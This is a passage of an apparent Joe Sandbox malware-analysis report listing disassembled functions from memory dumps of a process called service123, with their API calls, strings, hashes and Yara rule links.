Instruction Fuzzy Hash: 22015EB6909200DFD720BFB9974A21DBFB4AB42258F414A7DD9A947B10E730C409DBE3

Function 6C7C73C0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 237stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C7C7411
strlen.MSVCRT ref: 6C7C742B
strlen.MSVCRT ref: 6C7C747B
strlen.MSVCRT ref: 6C7C74D8
strlen.MSVCRT ref: 6C7C752C

Strings

*, xrefs: 6C7C7660
basic_string::append, xrefs: 6C7C76CA, 6C7C76D6, 6C7C76E2, 6C7C76EE

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: 7fd60c10f13d2df339d9d1b721d2adaadc5c66198718ff1ecfadac6553911b3f
Instruction ID: 469b53978651363fafaa3741b7d825b37782f8640a9c00865d1bad5979df0a3e
Opcode Fuzzy Hash: 7fd60c10f13d2df339d9d1b721d2adaadc5c66198718ff1ecfadac6553911b3f
Instruction Fuzzy Hash: A9A13A706086118FDB10DF68C28475EBBF1BB85308F51C96DD8989BB45EB35E849CB93

Function 6C843DD0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C843E6F
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7DE9CE), ref: 6C843ED3
memmove.MSVCRT ref: 6C843F0B
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7DE9CE), ref: 6C843F7A

Strings

basic_string::_M_replace, xrefs: 6C8440FF

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 29a6447f2c69832291281c1b0a6c6c28484520c75b0550109967ae614a65edad
Instruction ID: 88c446db9fd4f36d2560c241f13de106a9f366b517ef7705000a874a42a7f138
Opcode Fuzzy Hash: 29a6447f2c69832291281c1b0a6c6c28484520c75b0550109967ae614a65edad
Instruction Fuzzy Hash: E79115356093598FC314DF18C28091ABBF1BF89348F508D2DE99997B24E774ED44CB82

Function 6C7AE800 Relevance: 12.1, APIs: 8, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction ID: b74d76a7c71ab0a7e74669ce8e6a53e728146743cd7301da7e1f4ca3a1b9d3c9
Opcode Fuzzy Hash: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction Fuzzy Hash: 5221043095420DCF9718CE9AC3D198BB7A6AB86314B149B35D48447A48D330E8ABC7E2

Function 6C7B9BA6 Relevance: 12.1, APIs: 8, Instructions: 86clipboardCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 6C7B9BA9
IsClipboardFormatAvailable.USER32 ref: 6C7B9DDC
OpenClipboard.USER32 ref: 6C7B9DF0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$AvailableCloseFormatHandleOpen
String ID:
API String ID: 518195572-0
Opcode ID: 4e00d5485921a95f55e15a1559234e21c1240f1a6d5783e9aced1151ddb1ccea
Instruction ID: b107e4fa05f0dc7d5454681e6b1e6bacafd0a6192d218f1d50e3929a219b04ee
Opcode Fuzzy Hash: 4e00d5485921a95f55e15a1559234e21c1240f1a6d5783e9aced1151ddb1ccea
Instruction Fuzzy Hash: 0B214CB26082008FEB10BF7DD64916EBBF4AB55309F044A79E896D3644EB34D508CBA3

Function 00481E70 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00481EAF
signal.MSVCRT ref: 00481EF6
signal.MSVCRT ref: 00481F0F
signal.MSVCRT ref: 00481F36
signal.MSVCRT ref: 00481F72
signal.MSVCRT ref: 00481FBF
signal.MSVCRT ref: 00481FD5
signal.MSVCRT ref: 00481FEB

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 60f99a45dce23910b3a94d41bfe68a98b43625e9606c192f2055d87ffd0f1b0b
Instruction ID: 667f4c427afff259f906ed819c635f38b4485cdf747f85d76eb75007cd7c7e13
Opcode Fuzzy Hash: 60f99a45dce23910b3a94d41bfe68a98b43625e9606c192f2055d87ffd0f1b0b
Instruction Fuzzy Hash: 4D312DB05082048AE7207F65C94032E76D8AF4535CF554D1FE6C5873A1CB7DC8CAAB5B

Function 00484360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00484378

Strings

Inf, xrefs: 00484E35, 00484E4D
NaN, xrefs: 00484D3B
@, xrefs: 00484647

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: fee426bc407b7f556faa1699cf125a3cf8bf269e6c26ecfba141b8126d7ec847
Instruction ID: 775ee25e04d59e86b2dfb4a25dea1b5da5721e1ddaaa4c457008d455da690f53
Opcode Fuzzy Hash: fee426bc407b7f556faa1699cf125a3cf8bf269e6c26ecfba141b8126d7ec847
Instruction Fuzzy Hash: E4F1AF7160C3928BD730AF28C0503AFBBE1BBC5714F158E1EE9D987381D73999068B4A

Function 6C7B4A30 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 6C7B4A48

Strings

NaN, xrefs: 6C7B540B
@, xrefs: 6C7B4D17
Inf, xrefs: 6C7B5505, 6C7B551D

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 5ca02263d22fd0d75de4607973662cee0372281a55d5c203f791fbc510a130f9
Instruction ID: 8428af0f608d2278a925f6d914eb6e4ad50ad884e3f63e39c34d2d60723f159c
Opcode Fuzzy Hash: 5ca02263d22fd0d75de4607973662cee0372281a55d5c203f791fbc510a130f9
Instruction Fuzzy Hash: 15F1F47160C3858BD7608F28D65439BBBE2BFC5318F148A2DE9DCA7781D7349909DB82

Function 00483160 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

0, xrefs: 004834C6
@, xrefs: 0048342A

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction ID: 702a69f62fab3d56badeecb77483c70e323f84374f71b44d8f1f6ea15beb5fd4
Opcode Fuzzy Hash: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction Fuzzy Hash: 3CC19C71E002158BCB15DF6CC48479EBBF1BF88B15F288A5AEC58AB345D738E941CB94

Function 6C7B3830 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

0, xrefs: 6C7B3B96
@, xrefs: 6C7B3AFA

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction ID: 41d209553170e01c3d116ec197ca8974739e931585c5324ab4c3d433ad01ec95
Opcode Fuzzy Hash: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction Fuzzy Hash: 9AC16D71E046158BDB04CF6DC68478DBBF1BF89318F258269E858BB785DB34E885CB90

Function 6C7CB810 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CB836
memcmp.MSVCRT ref: 6C7CB85A
memcmp.MSVCRT ref: 6C7CB8CD
memcmp.MSVCRT ref: 6C7CB93F

Part of subcall function 6C86ADB0: strlen.MSVCRT ref: 6C86ADBE

memcmp.MSVCRT ref: 6C7CB9D7

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7CB881, 6C7CB8F2, 6C7CB965, 6C7CB9FE, 6C7CBA1A
basic_string::compare, xrefs: 6C7CB879, 6C7CB8EA, 6C7CB95D, 6C7CB9F6, 6C7CBA12

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 721bf5c33a7933248219f05b6b5899b6bac6afc9072c73a60eef0e48926b0240
Instruction ID: abe96da098e76f3893fd17c57ea1916c6c525bebe1a2541ad709e27f6200eefe
Opcode Fuzzy Hash: 721bf5c33a7933248219f05b6b5899b6bac6afc9072c73a60eef0e48926b0240
Instruction Fuzzy Hash: 166136B260A3129FC3009F29CAC595ABBE5BB98784F55892DF4C8D7B11D371E844CB93

Function 6C7C7710 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C813320: memset.MSVCRT ref: 6C813365

strcmp.MSVCRT ref: 6C7C7771
strlen.MSVCRT ref: 6C7C778C
strlen.MSVCRT ref: 6C7C77D3
strlen.MSVCRT ref: 6C7C7844
strlen.MSVCRT ref: 6C7C78B2

Strings

*, xrefs: 6C7C7990

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$memsetstrcmp
String ID: *
API String ID: 3639840916-163128923
Opcode ID: 8709facec280c1b75e9098570107a7c88c2f9a55694dfc352535a8fb018cb917
Instruction ID: 72c6b37da1a05a0882a461e89dc8ab52cf872978a82cff7290305306698fab13
Opcode Fuzzy Hash: 8709facec280c1b75e9098570107a7c88c2f9a55694dfc352535a8fb018cb917
Instruction Fuzzy Hash: 2E8137B5B096018FDB10DF29C68865EFBF5FF85308F01896DD9559B710DB35A809CB82

Function 6C7AE8E0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction ID: ec24eabc7e70acf7321bd4b9a4777fe22a1726fcb9dd1979394cc555e403d902
Opcode Fuzzy Hash: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction Fuzzy Hash: 6C518C7050970D8FC710CF99C29476ABBE0BF8A308F444B6EE8999B650D330D957CB9A

Function 6C7AE340 Relevance: 10.6, APIs: 7, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7AE487
WaitForSingleObject.KERNEL32 ref: 6C7AE4C8

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 72891f37a63385b340be447041f9fadfe66e0ff2086ceb20f70c7d1fa1952ef8
Instruction ID: 0b330c2ac6f7137b528199545310b358af5d78b456663823620008b98324308d
Opcode Fuzzy Hash: 72891f37a63385b340be447041f9fadfe66e0ff2086ceb20f70c7d1fa1952ef8
Instruction Fuzzy Hash: 3D510670705215CFDB24DFA9C68871A7BF5BB0671CF118A39E86487640E730E956CBE2

Function 6C7B01F0 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7B0209
memcpy.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C7B022D
malloc.MSVCRT ref: 6C7B0247
memset.MSVCRT ref: 6C7B0275
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction ID: abdd2cb2fa7287da7c0d3651bd6861d5a64a58618ee0acaaeb0dc48ed5fa5e3a
Opcode Fuzzy Hash: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction Fuzzy Hash: 6A118FB56056049FD700AF68D688899FBF4FB55258F05897DD858E7B00E731D508C621

Function 00488120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0048812C
GetProcAddress.KERNEL32 ref: 0048814C
GetProcAddress.KERNEL32 ref: 0048818B

Strings

___lc_codepage_func, xrefs: 00488144
__lc_codepage, xrefs: 00488180
msvcrt.dll, xrefs: 00488125

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: ee3b8af557258a9449b8e416f7e25b12bd61d442d3227024ec0da22ebd3fbfea
Instruction ID: 40a1c26c3f0cb9c50fed7203df8377da6dc04466aa5783698b25e969344c9aa4
Opcode Fuzzy Hash: ee3b8af557258a9449b8e416f7e25b12bd61d442d3227024ec0da22ebd3fbfea
Instruction Fuzzy Hash: 7CF06DB08052108F9710BF396D4825F7AE0AA05314F958D3FC885C7301EBB8C855CBAB

Function 6C7B9171 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C7B917C
GetProcAddress.KERNEL32 ref: 6C7B919C
GetProcAddress.KERNEL32 ref: 6C7B91DB

Strings

msvcrt.dll, xrefs: 6C7B9175
___lc_codepage_func, xrefs: 6C7B9194
__lc_codepage, xrefs: 6C7B91D0

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: a6b740f185b8f8028a55d4f61f12522b4f7f39da9187c526a9b191425b064873
Instruction ID: 73b1e40477a57b7642536402f42f3f26afd1d6f47b73b0c2ae863431568ac388
Opcode Fuzzy Hash: a6b740f185b8f8028a55d4f61f12522b4f7f39da9187c526a9b191425b064873
Instruction Fuzzy Hash: 0AF09CB15452158BAB107F3C5F0E2497BF46665254F40057DD8ADD7600F230D414D7E3

Function 6C7AEA9B Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction ID: 38ae2b8fcc324b91c5e53ec7542cf520a42e96a7e5d25f46ec129b345f4e94c4
Opcode Fuzzy Hash: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction Fuzzy Hash: 3AB01235CD923DCB47305DFC47191947659B6373857049E43C45A73D04D722E0079062

Function 6C844AE0 Relevance: 10.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C84B8AE), ref: 6C844B63
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C84B8AE), ref: 6C844BA5

Memory Dump Source

